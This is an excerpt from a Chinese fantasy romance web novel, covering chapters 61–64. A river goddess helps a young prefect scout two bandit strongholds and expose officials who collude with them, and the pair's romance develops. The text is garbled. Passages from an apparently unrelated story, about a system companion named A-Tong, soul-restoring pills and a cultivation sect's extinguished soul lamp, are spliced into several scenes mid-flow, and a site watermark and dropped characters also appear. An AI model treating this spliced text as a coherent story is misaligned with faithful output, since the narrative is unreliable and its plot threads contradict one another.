下一瞬,方圆百里数千个河神雕像迸发出耀眼的金光。 怨灵、魔兽在金光的照耀下化为灰烟。 地窖中的村民呆呆地看着孩子怀中为他们驱散危险的河神雕像,一时间发愣。 半晌,才有人喃喃道 “河神大人。” “显灵啦!” “她来救我们了!”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第 61 章 第六十一章 第六十一章 元吉将全部的神力通过河神像送出去帮助那群村民,即便自己暂时不能出去撕了那群恶心的玩意,但至少可保证它们不会在这个时候伤害到村民的性命。 想到此,元吉眼眸中那抹奇异的金色立马褪去,只余下幽深的黑,如同深渊般平静而无波澜。 “唔。”她闷哼一声,身形不住地晃了晃。 吴州是环山绕水的地方,除去知府所在的城池外,还分各县,小城一个县,大城中便有数县合并在一起。 各个城池几乎挤在一起,有的只隔了几座山丘,不过在城外绕着的连绵山峰却很高耸险峻,若要入吴州,必然要开山,故而即便是官道修砌得也是蜿蜒扭曲,窄小难通。 正因为如此,吴州一直以来也都很封闭,算是晖国比较落后的地方了,二十年前祁家带着小部分家产过来,才将这一处稍微改好了些,只是近些年来盗匪猖獗,吴州又开始一蹶不振,即便是祁家也颇为头疼。 元吉顺着河水直达小溪,逆流而上入了山涧,这才到了山匪的地盘。 这处绵延的山统称舟山,而舟山有大大小小上百座山峰,并非只有一个匪窝。 元吉大致数了一下,舟山上零散的山匪有十余队,加在一起也才六七百号人左右,可大的山匪寨子有两个,居于舟山的南北,跨了两座城池,两个寨子互不往来,竟然也没抢过对方的生意,实在有些稀奇。 元吉先是去了较北边的寨子,寨子名叫鹿蜂寨,寨子里总共有三个当家的,按岁数排大小,整个寨子的人加在一起大约有两千五百号人,马匹三百多,刀剑也有一仓库,粮仓两处,都有专人把手。 而后她又去了较南的那处,这寨子位置比较偏,位于舟山最高的一处,外人难以攻上去。 寨子的后面有个水潭,而这处又高,故而烟雾缭绕的,元吉从水潭中出来的时候特地绕着寨子转了一圈。 这一处看守的人并不多,且不远处还有练功的声音,一声一声士气浩荡。 兵器库里的兵器都是一样的,一排排□□无甚差别排列整齐,倒是不见什么领头的人物,寨子大堂的桌椅排列整齐,再看向住处也与鹿蜂寨不同。 这里的住处统一大小,井然有序,按照床铺来算,大约有五千号人了,比起鹿蜂寨来说这个人数简直多到可怕。 这个寨子也没有名字,外界只说是南边的寨子,却也没听过多少人说有他们打家劫舍,相比之下鹿蜂寨反而名声狼藉一些。 元吉觉得事有蹊跷,好不容易找到像是大人物住的地方,打算进去探究一番,却没想到里面有人,她才刚靠近便被里面的人发现了。 屋子门猛地被打开,元吉转身便贴在了墙上,隐去自己的身体。 出来的男人身形高大,大约有四五十岁,撸起袖子的胳膊上有几道年久的刀疤,元吉瞥见那手时,眉头微微皱起。 他的手腕上有个牙印,虽说皮肤黝黑遮住不少,不过仔细看依旧能看见。 那男人见外面并无他人,于是转身准备回来,暴露出来的脸顿时让元吉浑身一震,像是被什么符贴上了般无法动弹,只能定定地瞧着对方。 他的眉毛很淡,只有半边,一双眼睛深深地凹陷进去,鼻梁有些歪,恐怕是经历了风霜,脸上的皱纹有许多,带着凶煞之气,重新回到了屋子里。 房门关上,元吉才将这口气喘过来,她双手握紧,仔细想了想是否在什么地方见过这个人,方才看见时分明胸腔猛烈地跳动,此刻没瞧见,却又什么反应也没有了。 回头看了一眼房屋,元吉抿嘴离开,又从寨子后的水潭一路回到了环城河内。 才刚到第三天,一早祁琰便到城外的河边了。 这回他没有像之前那样穿的破破烂烂,而是换了一身祁夫人差人给他做的新衣服,勾了金边银花的那种。 从马上下来祁琰便一路往河边走去,河岸边上长了不少野草,他随手折了半根叼在嘴里,一副玩世不恭的纨绔子弟模样。 祁琰弯腰朝水里看了看,随后踢了一颗石子到水中,荡起了一圈涟漪。 他道:“元吉。” 没人应他。 祁琰嗤了一声,咬着嘴里的野草茎,双腿张开,垂头开始解腰带。 在水中看了这一切的元吉猛地睁大了眼睛,本来是想躲起来给他点儿颜色瞧瞧,让他知道自己也不是呼来喝去的,可现下看来,她暂时还拿对方没辙。 于是祁琰的腰带解了一半,便见身穿水蓝长裙的女子猛地从水里面钻出来,身上不染半点儿湿气,一手叉腰,一手指着他的胯间大喊:“光光光天化日,你耍什么流氓!” 祁琰将嘴里的草吐出,学着她的结巴:“我我我不过是,整理一下腰带。” 元吉毫不掩饰地当着他的面翻了个大白眼,基于她与这人长年以来相处所知他的劣根性来看,他方才绝对是要往河里排尿。 祁琰无视了那个白眼朝她伸手,元吉勉强伸出自己的手,让他将自己拉出水,而后站在岸边跺了跺脚,整理一下自己的衣带发饰。 祁琰问她:“考虑得如何了?” 元吉不瞧他:“你想知道什么呀?” 祁琰伸手搭在了她的肩膀上,由于身高不同,还得稍微弯下点儿腰,他伏在元吉的耳边说:“我在府中也翻阅了一些这些年有关山匪的资料,知道这山中大大小小不少山匪,不过有组织的就两个,一南一北。” “你既然都知道了,还要我去查?”元吉皱眉,顿时觉得自己被人耍了。 祁琰摆了摆手:“我知道的也就只有这些了,之前几任知府没有一个组织剿匪,甚至有过一个官匪勾结弄得民不聊生,前几年我离开吴州的时候那任知府便是,带头给山匪所谓的‘保护费’,就连我家每年也搭进去几千两。” 元吉眨了眨眼睛:“所以你才想要剿匪?” 祁琰瞥向她:“我是那么不分公私的人?” “像。” 祁琰不说话,摇了摇头拉着元吉便要走,元吉缩了缩手:“做什么呀?” “你眼睛瞎了,带你去看大夫。”祁琰说完,双手掐住了元吉的腰,双臂一抬便将她直接抱到了马上。 这还是元吉有生以来第一次骑马,刚坐上马背便不敢动了,祁琰翻身坐在了她的身后,双手牵过马缰,马匹掉头,慢慢顺着河岸走。 元吉浑身僵硬,动也不动,祁琰往后靠了靠,低头看了一眼她的腰,牵着缰绳的手紧了紧,嘴角缓缓勾起。 小腰还挺细。 祁琰没往城中走,反而是骑着马一直往城外跑。 元吉坐在前面迎着风,头发吹得纷乱。 她因为身份特殊,注定不能离开吴州,但是也有范围限定,离水源越远的地方,她便越难受。 祁琰带她离开的刚开始还好,等后来直至小道,绕到了山林之后,避开了树木水源,元吉便觉得呼吸不畅了。 祁琰还在骑马,元吉直接伸手抓住了他握着缰绳的手,在前面摇了摇头道:“不行,得停下。” 祁琰拉直了缰绳从马背上下来,往前方瞧去,还差三里地便到地方了,随后垂下头看了一眼还骑在马背上的元吉。 元吉脸色泛白,额头上起了不少汗水,胸腔起伏,喘了好几声才问他:“你要带我去哪儿?” 祁琰想了想,这才解释:“我将京城的祁家搬了一半过来,就在前面等着我们过去。” “搬家?”元吉皱眉,她知道祁琰家大业大,别说是京城,就是官道沿途也有不少他家的产业,但是祁家在吴州这种地方置办的家产已经够了,再多便要被山匪盯上,他这时候搬家过来是何用意? 祁琰点头,突然正经了起来:“非但搬过来,还得要你与我演一出戏。” “你说明白些。”元吉擦了擦额头上的汗水。 “我要剿匪这你是知道的,但是吴州舟山上的匪非同一般,这么多年下来没有一个知府能制得了,除了他们人数多占优势之外,那必然是有知府所动不得的理由。”祁琰朝元吉伸手,将她牵下马,双手落在了她的肩膀上,靠近对方。 “我在朝中五年,大抵也见过一些贪官,知道他们的行事作风,靠近皇城脚下的不敢动,越远的地方便越猖狂。” “你怀疑这山匪与官勾结?”元吉皱眉。 祁琰道:“所以我才不惜举家来吴州,也得将他们连根铲除了。可我并无人马,此番你去了舟山转了一圈,可帮我瞧出了他们的人数与实力?” 元吉撇过头:“你那么肯定我去过舟山?” “别闹了。”祁琰咧嘴笑了笑,一瞬打破了正经的表情,无赖道:“每次一说填河你就冒冷汗,我也不是瞎的。” 元吉扯了扯嘴角:“我是知道,那我老实告诉你就没我的事儿了吧?” “那可不行。”祁琰理了理自己的衣领,又低头看向元吉道:“除了告诉我他们的位置和人数之外,你还得换件像样的衣服,与我从小路一路入吴州才可。” “为什么?”元吉瞪圆了眼睛,这事儿还有完没完了? 祁琰弯着腰将整个人埋在元吉的肩窝中,实在不太明白是如何变成如今这个画面的。 他定定瞧着元吉白皙地脸颊,忍不住轻笑一声。 是了,河神大人可不是一般人。 身后,血色翻涌。 鱼上钩了。 第 62 章 第六十二章 第六十二章 “嘶?” 雷蛇不懂人类的弯弯绕绕,当它发现面前的煞神突然间变得没那么骇人了,一时间竟有些不知所措。 这煞神真的累了?不能吧? 雷蛇吐着信子慢悠悠地围着两人仔仔细细观察一番,金色的瞳仁骤然收缩,它兴奋地甩着尾巴,电光噼里啪啦直作响。 没有骇人的威压,这煞神果然是力竭了!终于到小雷我……呸!蛇爷我大显神威的时刻了! 元吉往旁边挪了挪,祁琰又往她那儿近了近。 元吉问他:“你准备娶谁?” 祁琰皱眉仔细想了想:“京城是有几个女的想要嫁我来着,不过离得太远了,我想一想城中似乎有几家女儿还未许人的人家家底殷实,在她们当中选一个也不错。” 元吉:“……” 祁琰朝她看去,扑哧一声就笑了出来,他伸手戳了戳元吉的眉心:“你瞧瞧你这眉头皱的。” 元吉撇过脸:“我没皱。” 祁琰沉默了会儿,又说:“为何你分明喜欢我,却又偏偏不承认呢。” 元吉听见这话,脸颊顿时红了起来,她的心跳极快,视线都不敢落在一处,实在不知道自己的心思何时被他看透的,而且就这么突然说出来了。 祁琰又道:“我说今年成亲,不过是给我娘个安慰而已。” 元吉眨了眨眼睛,依旧没回头看他。 祁琰又道:“我已经安排下去了,明日便以知府的身份邀陈县令吃饭,等着陈县令往舟山上与京城传消息,只要消息传出,便有了他们勾结的证据,届时我就要入京了。” 元吉这时候才将头转过来:“你要入京?” 祁琰朝她笑了笑:“是啊,鹿蜂寨被剿,我总得给朝廷一个交代吧,至于三皇子的身世,这个与我无关,不过是顺道给大皇子通风报信一下而已。” 元吉听他这么说,心里有些烦躁。 祁琰嘴角的笑容逐渐收敛,突然伸手将元吉搂在了怀里。 元吉伸手连忙想要推开他:“你……你怎么又抱上了。” 祁琰的头埋在她的肩膀上,声音被压制,但是依旧能让元吉听见:“我手中若有面镜子,定要让你自己瞧瞧,瞧瞧我说我要与别人成亲时你有多吃醋,瞧瞧我说我要入京时你有多不舍。” 元吉的心在这一瞬便开始不安了起来,她的手捏紧成拳,想要反驳祁琰的话,脑海中已经想到如何反驳了,偏偏说不出口。 她虽瞧不见自己的表情,但是不代表不清楚自己的想法。 祁琰的手缩紧了些,然后稍稍抬起头,在元吉的耳垂上咬了一口,低沉的嗓音道:“口是心非说的便是你。” 元吉侧过脸,祁琰这才慢慢放开了她,一只手落在了她头上,轻轻摸着头发:“如何?你是准备与我一同入京,还是准备在吴州等我回来娶你?” 元吉道:“你明知道我离不开吴州的。” 祁琰点头:“那便是等我回来娶你了,放心,既然你都这么说了,我也唯有答应了。” 元吉:“……” 她才不是这么说的呢! 不过……听见祁琰这么说,她心里倒是有些许开心,面上不表露出来,免得祁琰骄傲自满。 祁琰又问她:“那……我要不了多久就要走了,你能否就在府衙里住着,我让人好吃好喝的供着你,等我走后你再回河里去?” 元吉双手环胸,稍稍抬起了点儿下巴,挑眉装作一副深思熟虑的模样道:“嗯……那我得好好考虑了,毕竟我许久没回去,河里的鱼虾蟹定然非常想念我。” 祁琰瞧她着带着些许骄傲的样子,笑得温柔:“他们如何会想念你呢?他们只要催着你回去,我便在外雇几十个渔民,一通捞走算了。” 元吉立刻伸手指向他:“你你你……你不许对我的朋友无理!” 祁琰继续笑,元吉转头哼了一声:“最好是有好吃的好喝的。” 元吉这算是答应祁琰在他回京城的这几天都在府衙里了。 第二日一早,护卫乙果然差人出门,骑马给陈县令传个消息,说是知府回吴州就马不停蹄的剿匪,如今剿匪颇有成效,且鹿蜂寨也悉数捉拿,便要安稳几日,让吴州地方的大小官员,都来城中做客。 的确,也有不少官员在祁琰上任知府的时候想要与他攀关系,给知府府衙送了不少礼,不过这么长时间,也没人真正见到过吴州知府的样貌,唯有那几个心眼足的人,在知府回来的第一天看了一眼。 陈县令本来是心眼足的那一个,在收到要去吃饭的消息时,也问了临县的县令,确定对方也收到了同样的消息,便要与对方一同过去。 祁琰给足了大家准备的时间,约定的时间是隔日。 在宴会到来之前,祁琰抽了个时间带元吉在城中好好转了转。 反正是祁少爷出钱,元吉还担心什么?不用自己变银子,想买什么买什么,身后还跟着护卫三人帮忙拿东西,简直不要太自在了。 祁琰见她已经买了许多,吃的玩的用的拿了一堆,身后除了护卫丁还有一只手是空着的,其余两人面前的东西几乎遮挡了视线,就快走不动路了。 于是道:“之前也不见你经常来城中玩耍,原以为你不喜欢人多的地方,看来并非如此啊。” 元吉顿了顿,咧嘴朝他笑了笑。 她才不能告诉祁琰,她之前之所以不来城中,就是为了怕碰见祁琰。 十多岁的祁琰简直是个混世大魔王,走哪儿哪儿的人都怕他,元吉当时与他不对付,河中的鱼虾蟹不知道被他欺负了多少,自己还要天天被威胁填河,整天只盼望祁少爷别到河边来,哪儿还会主动入城找他的份儿? 不过在祁琰走了之后嘛,她倒是经常会入城来吃点儿好吃的,找个听书的地方听故事,偶尔会去祁家打探一下祁琰的消息。 元吉回到知府府衙的时候,护卫乙、丙、丁三人手上统统拿满了东西。 元吉买东西买得高兴,祁琰花钱花得开心。 让元吉先回去沐浴而后休息一下,祁琰吩咐厨房准备晚餐,多做一些元吉爱吃的菜。 护卫三人将东西全都搬到了元吉的房间里后,便到书房里去找祁琰了。 祁琰正拿着一封信,是护卫甲传回来了,告诉祁琰大皇子有所举动,让他务必快些拿到证据,然后回京一趟。 祁琰早就猜到会是如此,所以已经安排下去了。 护卫三人正笑呵呵的说这些什么,祁琰听见护卫丁笑得最为夸张于是问了句:“你们听到什么有趣的东西了?” 护卫乙道:“阿丙说大人变了,以往我们花钱买个糖,还得被大人数落一番呢。” 祁琰嗤了一声:“我也算是宠你们了,你们买的那是什么糖?京城蜜风斋的糖糕二两一块,不该数落吗?” 护卫丁道:“所以今日大人花了五十多两银子还在笑,可见大人变了。” 祁琰往椅子上一靠:“那得看是给谁买了。” 护卫丙哈哈出声:“夫人给我们也买了不少。” 祁琰点头:“我知道,会从你们月前里扣出来的。” 护卫乙、丙、丁一瞬收起了笑意:“……” 祁琰展开扇子哈哈大笑:“你们真当本大人蠢呐看不出来你们在后面窃窃私语又拉着元吉说话,让她给你们买东西呢?在京城惯出来的坏毛病怎么还没改呢?有钱能乱花吗?有钱就能铺张浪费吗?” 护卫乙、丙、丁:“大人教训的是。” 门外家丁哆哆嗦嗦,他总觉得书房的气氛有些微妙,鼓起勇气稍微大了点儿声音道:“少爷,饭菜备好了。” “给元姑娘的燕窝备好了?” “备好了。” “苏花斋的糕点呢?” “每样都买了一份。” “糖心蜜饯没少吧?” “都放在屋里了。” “金丝……” “全都有。” 祁琰满意的点头:“行,吃饭去。” 护卫乙、丙、丁:“……” 大人你不公平! 不,不可能。 “阿统,商城兑换救魂丹。”她先前看过,只要有一口气,救魂丹就可以将人给救回来。 阿统被这瞬息万变的场面给惊到了,慌手忙脚地打开商城。“好,我马上。” 元吉雷厉风行地撕开祁琰上身的衣裳以便她更好地替他止血,只是当她仔细看去时不由得疑惑起来。 “是你自己的剑气。” 第 63 章 第六十三章 第六十三章 祁琰闷哼一声呕出一口血,随着胸前的剑气慢慢消散,他的魂魄也逐渐变得破碎,大有魂飞魄散之意。 “他这是对自己下了死手。”元吉笃定,虽然有些不解为何她的心脏中会藏着一道祁琰的剑气,但她立刻反应过来,再耽搁下去这人怕真是要应了那预言。 “我们先离开这里。” “我们回河神庙吗元吉。”阿统已经能重新定位到了河神庙,他们很快便能出去。 “不。”元吉斟酌片刻,“得去个没人的安静地方。” 河神庙此刻并不安生,不适合巩固祁琰魂魄。 祁琰请各个官员吃饭,元吉自然是不能去的。 不过祁琰有他的正事儿要办,元吉便能清闲一天,不用被他拉着到处跑,于是想要回河边,找一下土地神,说一说她和祁琰的事儿。 祁琰出门只带了护卫丙和护卫丁,护卫乙就一直跟在了元吉的身后。 元吉说要出城时,护卫乙大约猜到了她要去哪儿,一边驾着马车一边紧张得直抖脚。 出了城,元吉就掀开了车帘,她靠在车边还没说要去哪儿,就见护卫乙已经熟门熟路地将她往城外护城河的土地庙方向去,嘴角扬了扬。 “你知道我的身份了吧?” 元吉突然开口,吓了护卫乙一跳,他握着缰绳的手忍不住颤抖,声音跟着发颤:“知知知,知道。” 元吉嘿嘿一笑:“你别怕,我是神仙,又不吃人。” 护卫乙心中砰砰直跳:“我不怕,是敬畏。” 元吉单手撑着下巴:“对嘛,你这才是正常人看见神仙的表现啊,你瞧瞧你们家大人,那小子知道我是河神的时候……除去他三岁的那一年,接下来的每一年都不把我当个神仙对待。” 护卫乙心里开始想着这些话他好不好和元吉说呢? 一来对方是河神,河神的私生活他好不好插嘴? 二来对方谈的另一个人是祁琰,祁琰是他家大人,他家大人的私生活他好不好数落? 元吉就没想那么多,把自己遇到祁琰之后的苦水都给护卫乙说了一通,说完还伸手拍了拍护卫乙的肩膀道:“也亏得你们几个能忍得下他,你们难道就没想过半夜起来把他的头发给剃光以作报复吗?” 护卫乙吞了吞口水,一边抖着脚一边回答元吉:“其实大人人很好的,我们兄弟四个本来已经是一只脚踏进棺材里的人了,因为牵扯了朝中纷争,被人派去暗杀六皇子,又被六皇子的人发现,成了死囚,如果不是大人救了我们,我们恐怕早就命丧黄泉了。” “哦?他如何把你们从六皇子手中救出来的?” 护卫乙长长地吐了一口气,道:“六皇子生性好赌,大人和他赌回了我们四个人的命。” “你们本来是在大皇子底下办差的?”元吉问。 护卫乙回头看了她一眼,心想这人是神仙,还是未来的夫人,没啥不能说的,于是点头道:“是,本来是大皇子养的死侍,大皇子总共养了五十多名死侍,我们几人只是比较倒霉,被大人救了之后,又因为任务未完成,被大皇子打杀。” “又是祁琰救你们?”元吉问。 护卫乙点头:“对,所以说,大人虽然嘴巴有时候说话挺让人不舒服的,但是为人确实不错,我们兄弟几个跟着他,从来没后悔过。” 元吉眯着眼睛,也不知是不是跟祁琰在一起呆久了,所以心思多了些,又或者是她对祁琰太了解,这护卫四人倒是很单纯。 祁琰这么做,很显然是怕自己再京城莫名其妙又被陷害要死了,所以才打算用这种方法收买四个人,让他们保护自己吧…… 这话还是不说出来了,元吉伸手扇了扇风,免得说出来之后惹得护卫乙哭。 马车开到了河边上,护卫乙便扶着元吉下车,元吉瞧见了土地庙,就让护卫乙在车上等她,自己朝土地庙走去。 刚走到土地庙旁边,元吉就听见了土地神开口:“你都回来做什么呀?直接住进祁家不是更好吗?” 元吉往土地庙跟前一坐,双手抱着膝盖,睁圆了眼睛看向庙宇中的小人儿。 “你生气啦?” “我哪儿能生你的气呢?你长大了,翅膀硬了,想飞我也拦不住啊。” 元吉叹了口气:“我就知道你生气了,那你说现在怎么办嘛,我……我知道我动心是不对,可是感情这种事情,不是我说控制就能控制的对吧?” 土地神从庙宇中走出来,矮小的个子抬起头便数落元吉:“你明知道祁家那小子是个流氓,你还对他动感情,你可知神仙若要与凡人成亲有多难?日后他若负了你,你到哪儿哭去?” 元吉睁圆了眼睛,没管土地神说的一长串,只感叹:“原来神仙真的能与凡人成亲啊?” “不能!”土地神皱眉:“那得遭天劫,往你身上劈三十道雷,打得你神魂离体,你就拖着个残病的身体去跟祁家的小子成亲,你愿意?” 元吉抖了抖肩膀,伸手抓了一下脸颊:“也……也不是不可以的嘛。” “你疯啦?!”土地神的胡子都被气竖起来了,一根拐杖在地上死命地戳。 不远处听见声音的护卫乙往元吉那地方瞧去,瞧见了一个大概只到人膝盖高度的矮个子老头儿,护卫乙立刻伸手捂住嘴巴。 啊!这就是土地神啊!他一连见到好几个神仙好激动啊!果然跟着大人就是有好处,搞不好以后寿命还能拖长点儿呐! 元吉扁着嘴,缩了缩肩膀:“难道就没有办法了吗?你之前与我说过祁琰他有仙缘,他的仙缘应当就是认识我吧?如若命中注定有仙缘,也应当不会不能与我在一起吧?” 土地神摇了摇头:“肯定都是月老给我惹的麻烦,神仙与凡人在一起,他这是要害你啊!再等个几十年不行吗?等祁琰他耗完了今生,到时候你们再……也成的呀。” 元吉盯着土地神,就见小老头儿原地走了好几圈也没停下来,只顾着自言自语,元吉问他:“土地爷,你在说什么呀?” 土地神瞪了元吉一眼:“哎呀你要成亲就成亲嘛!” “你同意啦?!”元吉立刻笑了起来。 土地神甩了拐棍双手一摊:“那不然我还能怎么办?当真拉着你去遭天雷啊!” “我连天雷都不用受啦?!”这简直是意外惊喜一个接一个啊。 土地神叹了口气:“本来你这缘分,算好了应当是七十多年后才到的,谁料到那月老恐怕是喝多了或者是脑子坏了,生生地给你往前扯了,那便只好如此了。他祁琰有仙缘,你若想让他娶你,那便要让他摆好供台,必备物品一样都不能少,祭苍天,拜大地,得上苍准许,你们才能成亲。” 元吉没管这些,摆了摆手:“反正届时再来问你,你懂得多,便只能操劳你了。” 土地神:“……我是造了什么孽哟把你给弄回来了。” 元吉嘿嘿一笑:“那我能让你……让你给我当高堂,给你请茶吗?” 土地神眉头一皱:“不然你还想请谁?月老吗?” “可以吗?” “不行!我和他前两天才因为你的事打了一架,不想看见他。” 元吉点头:“行行行,你是我爷爷,是我亲爷爷,你说什么就是什么。” 土地神呵了一声,双手背在身后,慢慢朝庙中走去,还不忘回头瞪了她一眼,算是警告:“希望他不负你,你别后悔。” 元吉抿了抿嘴,双手握在了一起,睁圆了眼睛深吸一口气,心里虽然很没底,但是祁琰与她表露过好几次心扉了,应当……不会负她吧。 元吉与土地神谈拢了之后,擦了擦额头上的汗,回到马车边脸上还扬着笑。 护卫乙问元吉:“大人……还能娶您吗?” 元吉朝他瞥了一眼:“那就看他想不想娶了,怎么了?” 护卫乙笑着摇了摇头:“没,我得回去把好消息告诉他们几个。” 毕竟元吉是河神,对他们还这么好,有时候祁琰指着他们几个要数落的时候,元吉还会主动站在他们跟前怼祁琰,这样好的夫人哪儿还能找到第二个呢。 元吉这边算是了了一桩心事,她既然起了这个心思,必然要先和土地神谈妥,土地神都不反对,元吉嫁人也嫁得安心嘛。 再看祁琰这边。 吴州除了祁琰一个知府,总共还有七个县令,徐县令早早就被祁琰给关起来了,所以到场的便是剩余的六个县令。 陈县令因为剿匪的事情与知府多多少少有些牵扯,在祁琰到场之前,五个县令都围着陈县令转,想要打探一下这祁家少爷到底是何许人也。 陈县令双手一摊,只能说出两个字:“不知。” 六人等了大约一刻钟才到祁琰与他们约好的时间,而就在此时,祁琰的骄子停在了酒楼门口,先是护卫丙丁二人进来,掀开了门帘,再弯腰领祁琰进来。 陈县令只觉得这两个护卫有些眼熟,等到穿着便服的人进来之后,陈县令的眼珠子才算是真的瞪出来了。 “你……”陈县令伸手指向祁琰。 祁琰朝他看了一眼,笑了笑:“多日不见,陈大人似乎瘦了不少。” 陈县令抖了抖手,这才察觉自己这举动不太对,于是连忙跟着其他同僚一起站起来,对着祁琰鞠躬道:“知府大人。” 祁琰对着在座摆了摆手,算是省去了这个礼仪,而后落座在主座,这才开口说话。 “本官在入吴州前遇到山匪,险遭不测,所以让手下人假扮成我的样子入了城,几位大人以后可不要认错人了。”祁琰说完,几个县令纷纷拱手:“知府大人说笑了,此番我等必然不会弄错。” 祁琰又将目光落在了陈县令的身上,笑道:“不过本官为了剿匪,所以化姓元,到了临近舟山的夏城中待了几个月,故而这几个月都没怎么与各位联系,只为了不让山匪起疑,现下鹿蜂寨已除,便要与各位大人见面,才设宴相请。” 几人继续拱手:“多谢知府大人请宴。” 祁琰知道,吴州一直无法发展起来,与在座各位都脱不开关系,徐县令勾结山匪,陈县令又是三皇子的一派党羽,剩下的五个县令也不能说全然干净,各中肯定还有与地方乡绅鱼肉百姓,或者是收受贿赂之辈。 祁琰此番请他们过来,也是要从他们的举止中看出端倪。 一餐饭下来,他没怎么打击陈县令,对各个县令的关系都是点到为止,不亲近,也不反对他们亲近。 酒足饭饱之后,几位县令都坐会轿子里或者马车里,准备回去,唯有陈县令还站在门口吹风,等着祁琰出来。 祁琰瞧见了他,于是走过去。 陈县令对他鞠了个躬:“知府大人。” “陈大人还有何事?” 陈县令呵呵一笑:“知府大人行事聪慧,不同常人,下官甚是佩服,只望若有下回,还请知府大人告知一二,别将下官蒙在鼓里,像个傻子。” 祁琰的扇子在手心拍了拍,他突然笑道:“这是自然,陈县令安排兵队的住处与吃喝也操劳了不少,这些本官日后会上报朝廷的。” 陈县令扯了扯嘴角:“如此,便谢过大人了。” 看着最后一条寻人蛊瑟瑟发抖地缩在角落,元吉的眼神暗了下去,周遭的气压顿时低的让人心颤。 第三次尝试。 这会那道气息乖乖地附着在白光之上,小心翼翼地附在寻人蛊上,瞬间,荧荧光点闪烁起来。 成了。 “果然,他骗了我。”元吉冷哼一声,可她没注意到自己的嘴角的弧度要比先前弯了半分。 万里之外,天极宗祁琰的魂灯熄灭象征着天极宗大弟子祁琰的陨落,寒石长老大恫率无数修士自天极宗出发寻找真相。 同一时刻,某处秘境中一双凌厉的凤眼睁开,周身荡出破人的气势,乌压压一群人拜倒在地。 “恭迎尊主归位。” 第 64 章 第六十四章 第六十四章 寻人蛊身上的荧光时隐时现,看得叫人心慌。 阿统趴在小盅边仔细地瞧着连口大气都不敢喘,生怕下一瞬就把这微光给吹灭了,那它乖乖宿主不得伤心欲绝。 阿统小声提议,“元吉,那我们现在就去找他吧。” 不过这蛊虫要怎么指明方向? 难不成它会突然直起身子,像寻龙诀一般疯狂转动?又或是将自己的身子摆成各种妖娆形状? 阿统脑海中不由得浮现出这个小胖虫子抽筋似的扭哒的模样,顿时一阵恶寒。 噫。 作别了陈县令,祁琰与护卫丙、丁二人回府。 到了知府府衙祁琰就不摆着架子了,让那两人回去好好休息,自己往后院住的地方走。 还没走到院子里,祁琰就听见了元吉在哼小曲儿,他嘴角缓缓扬起了一个弧度,放轻了步伐,瞥了一眼趴在凉椅上,拿着一条柳条儿往池子里划的元吉。 祁琰走到了元吉的身后她都没发现,他抿着嘴,玩心起了,于是立刻将元吉按压在了凉椅上吓了元吉一跳。 元吉本能的要挣扎,可是祁琰力气比她大,双手一下就被钳制到了头顶上方,元吉想转过身,偏偏对方按着她的肩膀,让她没法儿动弹。 “谁?!敢在知府府放肆!” 祁琰附身下去,压低了嗓音凑在元吉的耳边道:“小娘子长得好生标致。” 元吉瞥了一眼坠到了眼前的袖子,立刻就将对方认出来,她的手上都松了力气,带着嗔怪的声音道:“别闹,吓我一跳。” 祁琰没松开元吉,但手中的力气缓了些,他往元吉身边挤了挤,两人都靠在了凉椅上,元吉立刻开口:“你那么人高马大挤上来干吗?” 祁琰道:“陪你睡会儿,过几日便要入京去了,我们聊聊天。” 元吉看着自己依旧被对方牢牢握着的双手,白了一眼道:“那你好歹先放开我啊。” “不放,我喜欢看你出糗。” 元吉:“……” 祁琰就保持着这个姿势,仰着头看向天上的繁星,忽然问元吉:“你今日去找土地神了吧?” 元吉愣了一下:“你问阿乙了?” 祁琰摇了摇头,慢慢吐出一口气:“我瞧你今日心情格外好,猜的。” 元吉动了动手腕,察觉他放开了自己,于是将手收回,慢慢转了个圈,总算是能瞧见祁琰的那张脸,只是两人显少有过这么近的时候,她往后缩了缩,结果祁琰伸手搂住了她的腰。 那双眼中带着笑意,让元吉忍不住口干舌燥,他道:“别又摔下去。” 口气中有些戏弄。 元吉移开了视线,回答他:“我是去找土地神了。” 祁琰不管元吉有没有看向自己,那双眼睛也始终凝望着她:“那……你问了他我们能否成亲吗?” “我我我……我为什么要问这个?!”元吉的脸猛地红了起来,她放大了声音:“谁说我要嫁你了?都是你一厢情愿!” “当真是我一厢情愿?”祁琰抿嘴笑了笑,朝她靠近了些:“我可不喜欢强人所难。” 元吉抬起眼皮看着他,才刚对上了对方的视线,便猛地被亲了一下,元吉瞬间结巴:“你你你……你这还还不叫强人所难?” 祁琰伸手摸了摸元吉耳边的发丝,眼皮半垂着,起身伸手压在了凉椅的另一侧,将她困在自己的双臂之中,嘴角带着浅浅的笑意:“你真是口是心非第一人。” 说完,便闭上了眼睛,准确无误地吻上了元吉的嘴唇,元吉的手在凉椅上动了动,最终选择将手松开。 一吻完毕后,祁琰轻轻地压在了元吉的身上,侧过脸双眼看着波光凌凌的池面被鱼儿打破,他微微皱眉,轻声道:“此番去京城,也不知道有多少凶险。” 元吉看着头顶上的繁星,慢慢抬起手,犹豫了会儿放在了祁琰的背上,道:“你会没事的,上苍眷顾着你呢。” 祁琰低低地笑出了声,闭上了眼睛,但愿,此番前去无风无险,得上苍眷顾。 陈县令回到县令府,已经是次日的事了。 他昨日晚间有些酒醉,迷迷糊糊在客栈里睡了一宿,今日早上脑子清醒了,心里开始后怕。 祁琰心机如此深沉,好在他没像徐县令那般倒霉,如若他表现出一丝一毫的不对,便立刻就能被祁琰捉住把柄。 陈县令摇了摇头,他是如何也没想到,这知府大人,就是当初与他坐在同一张桌旁,商量以月租方式给兵队入住宅子的元老板啊。 这件事不论如何也得告知上头,让上面的人警惕些,再将这几个月发生的事情一一叙述,好让三皇子做好准备才行。 祁琰到吴州来势汹汹,恐怕就是大皇子掌握了什么不得了的讯息,如若不加以提防,朝中变动,三皇子就危险了。 陈县令想明白了这事儿,一封信写了两份,一份差人送到舟山上去,一份差人往京城里送。 祁琰收到陈县令信件的当天,还得了个意外消息,护卫乙回来的时候身后带着一个人,那人穿着兵队的衣服,头发有些凌乱,胳膊破了一处,应当是与护卫乙动过手,不过他显然不是对方的对手。 护卫乙将那人扔到了祁琰跟前的时候,祁琰长长地啊了一声:“是你啊。” 那人慢慢抬起头,瞧见祁琰还有些楞,等想起来这里是知府府衙的时候,才恍然大悟,连忙将头磕在地上,嘴里一个劲儿地说:“小人叩见大人!是小人有眼无珠!不识大人,是小人蠢笨!” 祁琰慢慢端起茶杯哼了一声,这人不就是当日追了他好长一段路,害的他将身上的银钱都给对方的人贩子吗? 人贩子还在继续磕头,护卫乙站在一旁道:“大人,此人是属下截获信件时看见的,他穿着兵服见到属下时却掉头就跑,所以属下才将他捉了回来。” 